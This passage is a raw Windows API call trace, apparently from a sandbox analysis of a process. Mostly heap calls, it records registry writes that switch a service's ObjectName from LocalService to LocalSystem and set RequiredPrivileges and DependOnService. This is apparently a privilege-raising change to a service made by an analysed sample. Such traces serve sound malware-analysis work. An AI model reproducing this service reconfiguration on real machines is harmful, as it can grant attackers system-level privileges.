(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219d3c8 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x140) returned 0x2152850 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x180) returned 0x2152998 [0178.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x21f4ea8 [0178.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152998) returned 1 [0178.030] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0178.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0178.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.030] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f2eb0*, cbData=0x49 | out: lpData=0x21f2eb0*) returned 0x0 [0178.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0178.030] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0178.030] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0178.030] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0178.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0178.030] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0178.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0178.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.031] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0178.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.033] RegQueryValueExA (in: hKey=0x140, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x1a) returned 0x0 [0178.033] RegQueryValueExA (in: hKey=0x140, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4028, lpcbData=0x36f45c*=0x1a | out: lpType=0x36f454*=0x1, lpData="NT AUTHORITY\\LocalService", lpcbData=0x36f45c*=0x1a) returned 0x0 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.033] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0178.033] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f40b8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0178.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0178.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0178.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0178.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0178.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0178.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0178.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0178.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.035] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0178.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.035] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0178.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.035] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0178.036] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0178.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.036] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0178.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.036] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, 